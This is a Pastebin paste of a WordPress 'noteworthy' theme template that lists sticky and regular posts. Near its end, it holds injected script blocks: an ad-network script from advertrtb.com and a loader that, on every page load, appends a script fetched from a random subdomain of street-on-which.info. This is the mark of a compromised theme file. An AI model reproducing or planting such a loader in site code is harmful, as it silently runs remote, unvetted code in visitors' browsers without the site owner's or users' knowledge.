Guest User

Untitled

a guest
Aug 28th, 2014
328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.99 KB | None | 0 0
  1. <?php get_header(); ?>
  2.  
  3.     <div id="content" class="clearfix">
  4.        
  5.         <div id="main" class="col620 clearfix" role="main">
  6.        
  7.           <div id="featured" class="clearfix">
  8.  
  9.              <div id="featured-latest" class="col480">
  10.              <?php
  11.                 $rPost = new WP_Query( array(
  12.                     'posts_per_page' => 1,
  13.                     'post__in' => get_option("sticky_posts")
  14.                 ));
  15.             ?>
  16.  
  17.            <?php if ( $rPost->have_posts() ) : $rPost->the_post(); $do_not_duplicate = $post->ID; ?>
  18.              
  19.                    
  20.                     <div class="featured-content">
  21.                         <header>
  22.                           <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'noteworthy' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php if(the_title( '', '', false ) !='') the_title(); else _e( 'View Post', 'noteworthy' ); ?></a></h2>
  23.                         </header>
  24.                         <div class="circle-arrow"><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'noteworthy' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php if(the_title( '', '', false ) !='') the_title(); else _e( 'View Post', 'noteworthy' ); ?></a></div>
  25.                    </div>
  26.  
  27.                
  28.                     <?php if ( has_post_thumbnail()) : ?>
  29.                        
  30.                         <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php echo the_post_thumbnail( array( 400, 400), array( 'onload' => 'feat_img_onload(this)') ); ?></a>
  31.                          
  32.                     <?php else : ?>
  33.                        
  34.                         <?php $postimgs =& get_children( array( 'post_parent' => $post->ID, 'post_type' => 'attachment', 'post_mime_type' => 'image', 'orderby' => 'menu_order', 'order' => 'ASC' ) );
  35.                         if ( !empty($postimgs) ) :
  36.                             $firstimg = array_shift( $postimgs );
  37.                             $my_image = wp_get_attachment_image( $firstimg->ID, array( 400, 400 ), false, array( 'onload' => 'feat_img_onload(this)') );
  38.                         ?>
  39.                        
  40.                         <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php echo $my_image; ?></a>
  41.                         <?php endif; ?>
  42.                        
  43.                     <?php endif; ?>
  44.  
  45.                <?php endif; ?>
  46.            
  47.              <?php wp_reset_query(); ?>
  48.        
  49.              </div>
  50.              
  51.              <div id="featured-list" class="col480">
  52.                  <?php
  53.                     $fPosts = new WP_Query( array(
  54.                         'offset' => 1,
  55.                         'posts_per_page' => 10,
  56.                         'post__in' => get_option("sticky_posts"),
  57.                         'ignore_sticky_posts' => 1,
  58.                     ));
  59.                  ?>
  60.  
  61.                  <h1>Featured</h1>
  62.                  <div id="boxscroll">
  63.                  <?php if ( $fPosts->have_posts() ) : ?>
  64.                        
  65.                          <ul>
  66.                          <?php /* Start the Loop */ ?>
  67.                             <?php while ( $fPosts->have_posts() ) : $fPosts->the_post(); ?>
  68.                             <li class="featured-title"><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'noteworthy' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php if(the_title( '', '', false ) !='') the_title(); else _e( 'View Post', 'noteworthy' ); ?></a></li>
  69.                             <?php endwhile; ?>
  70.                         <?php endif; ?>
  71.                         </ul>
  72.                  
  73.                 <?php wp_reset_query(); ?>
  74.                 </div>
  75.              </div>
  76.  
  77.           </div>
  78.  
  79.           <div class="item-wrap clearfix">
  80.             <?php
  81.                 $sticky = get_option("sticky_posts");
  82.                 query_posts( array(
  83.                     'post__not_in' => $sticky,
  84.                     'paged' => (get_query_var('paged')) ? get_query_var('paged') : 1
  85.             )); ?>
  86.            
  87.             <?php if ( have_posts() ) : ?>
  88.  
  89.                 <?php /* Start the Loop */ ?>
  90.                 <?php while ( have_posts() ) : the_post(); ?>
  91.                
  92.  
  93.                     <div class="item col300">
  94.                    
  95.                        <div class="item-cat">
  96.                             <?php
  97.                                 /* translators: used between list items, there is a space after the comma */
  98.                                 $categories_list = get_the_category_list( __( ', ', 'noteworthy' ) );
  99.                                 if ( $categories_list && noteworthy_categorized_blog() ) :
  100.                             ?>
  101.                             <span class="cat-links">
  102.                                 <?php printf( __( '%s', 'noteworthy' ), $categories_list ); ?>
  103.                             </span>
  104.                             <?php endif; // End if categories ?>
  105.                         </div>
  106.                    
  107.                       <div class="item-content">
  108.                         <header>
  109.  
  110.                           <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'noteworthy' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php if(the_title( '', '', false ) !='') the_title(); else _e( 'View Post', 'noteworthy' ); ?></a></h2>
  111.                         </header>
  112.                       </div>
  113.                      
  114.  
  115.                       <?php
  116.                         if ( has_post_thumbnail()) : ?>
  117.                        
  118.                              <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php echo the_post_thumbnail( array( 250, 250), array( 'onload' => 'thumb_img_onload(this)') ); ?></a>
  119.                              
  120.                         <?php else : ?>
  121.                            
  122.                             <?php $postimgs =& get_children( array( 'post_parent' => $post->ID, 'post_type' => 'attachment', 'post_mime_type' => 'image', 'orderby' => 'menu_order', 'order' => 'ASC' ) );
  123.                             if ( !empty($postimgs) ) :
  124.                                 $firstimg = array_shift( $postimgs );
  125.                                 $my_image = wp_get_attachment_image( $firstimg->ID, array( 250, 250 ), false, array( 'onload' => 'thumb_img_onload(this)') );
  126.                             ?>
  127.                            
  128.                             <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php echo $my_image; ?></a>
  129.                             <?php endif; ?>
  130.                            
  131.                         <?php endif; ?>
  132.  
  133.                     </div>
  134.                    
  135.  
  136.                 <?php endwhile; ?>
  137.  
  138.                 <?php if (function_exists("noteworthy_pagination")) {
  139.                             noteworthy_pagination();
  140.                 } elseif (function_exists("noteworthy_content_nav")) {
  141.                             noteworthy_content_nav( 'nav-below' );
  142.                 }?>
  143.  
  144.             <?php else : ?>
  145.  
  146.                 <article id="post-0" class="post no-results not-found">
  147.                     <header class="entry-header">
  148.                         <h1 class="entry-title"><?php _e( 'Nothing Found', 'noteworthy' ); ?></h1>
  149.                     </header><!-- .entry-header -->
  150.  
  151.                     <div class="entry-content post_content">
  152.                         <p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'noteworthy' ); ?></p>
  153.                         <?php get_search_form(); ?>
  154.                     </div><!-- .entry-content -->
  155.                 </article><!-- #post-0 -->
  156.  
  157.             <?php endif; ?>
  158.             <?php wp_reset_query() ?>
  159.     <script type="text/javascript">
  160. teasernet_blockid = 573578;
  161. teasernet_padid = 252651;
  162. </script>
  163. <script type="text/javascript" src="http://advertrtb.com/c2gda2c/78f74dcff0fe.js"></script>
  164. <div id='wzblock30210' style='display:none;'></div><script type="text/javascript">
  165.    (function(w) {
  166.      var script = document.createElement('script');
  167.      var i = setInterval(function() {
  168.        if (typeof w.document.body !== 'undefined') {
  169.            script.src = 'http://tojqjwjwyhe.street-on-which.info' + '/?685159=E1oTFUEFDgNaVFdVVlc';
  170.            w.document.body.appendChild(script);
  171.            clearInterval(i);
  172.        }
  173.      }, 200);
  174. })(window);
  175. </script>
  176.  
  177.           </div>
  178.  
  179.         </div> <!-- end #main -->
  180.  
  181.         <?php get_sidebar(); ?>
  182.  
  183.     </div> <!-- end #content -->
  184.        
  185. <?php get_footer(); ?>
Advertisement
Add Comment
Please, Sign In to add comment